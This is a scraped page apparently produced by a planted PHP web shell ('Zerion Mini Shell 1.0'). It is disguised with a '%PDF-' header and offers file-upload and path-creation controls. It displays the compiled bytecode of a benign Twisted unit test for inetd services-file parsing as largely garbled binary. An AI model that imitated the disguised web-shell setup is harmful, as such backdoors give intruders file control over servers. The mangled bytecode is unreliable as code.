%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/runner/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/runner/test/__pycache__/test_inetdconf.cpython-312.pyc

�

Ϫ�f~��J�dZddlmZddlmZGd�dej
�Zy)z,
Tests for implementations of L{inetdconf}.
�)�	inetdconf)�unittestc�(�eZdZdZdd�Zdd�Zdd�Zy)�ServicesConfTestsz-
    Tests for L{inetdconf.ServicesConf}
    Nc�H�|j�|_t|jd�5}|jd�ddd�|j�|_t|jd�5}|jd�ddd�y#1swY�OxYw#1swYyxYw)N�wz�
            # This is a comment
            http            80/tcp          www www-http    # WorldWideWeb HTTP
            http            80/udp          www www-http
            http            80/sctp
            z]
            https           443/tcp                # http protocol over TLS/SSL
            )�mktemp�servicesFilename1�open�write�servicesFilename2)�self�fs  �D/usr/lib/python3/dist-packages/twisted/runner/test/test_inetdconf.py�setUpzServicesConfTests.setUps���!%������
�$�(�(�#�
.�	�!�
�G�G��
�	�"&������
�$�(�(�#�
.�	�!�
�G�G��
�	�	�	�	��	�	�s�B�1B�B�B!c��tj�}|j|_|j	�|j|jdddddddd��y)z<
        Services are parsed from default filename.
        �P))�http�tcp)r�udp)r�sctp)�wwwr)rr)�www-httpr)rrN)r�ServicesConfr
�defaultFilename�	parseFile�assertEqual�services)r�confs  r�test_parseDefaultFilenamez+ServicesConfTests.test_parseDefaultFilename$sY���%�%�'��#�5�5�����������M�M�!#�!#�"$� "� "�%'�%'�
�	
�c���tj�}t|j�5}|j	|�ddd�|j|jddi�y#1swY�(xYw)z9
        Services are parsed from given C{file}.
        N)�httpsri�)rrrr
rrr)rrrs   r�test_parseFilez ServicesConfTests.test_parseFile8sb���%�%�'��
�$�(�(�
)�	�Q��N�N�1��	�����M�M� �#�
�	
�	�	�s�A#�#A,)�returnN)�__name__�
__module__�__qualname__�__doc__rr r$�r!rrrs����&
�(
r!rN)r)�twisted.runnerr�
twisted.trialr�TestCaserr*r!r�<module>r.s$���%�"�8
��)�)�8
r!

Zerion Mini Shell 1.0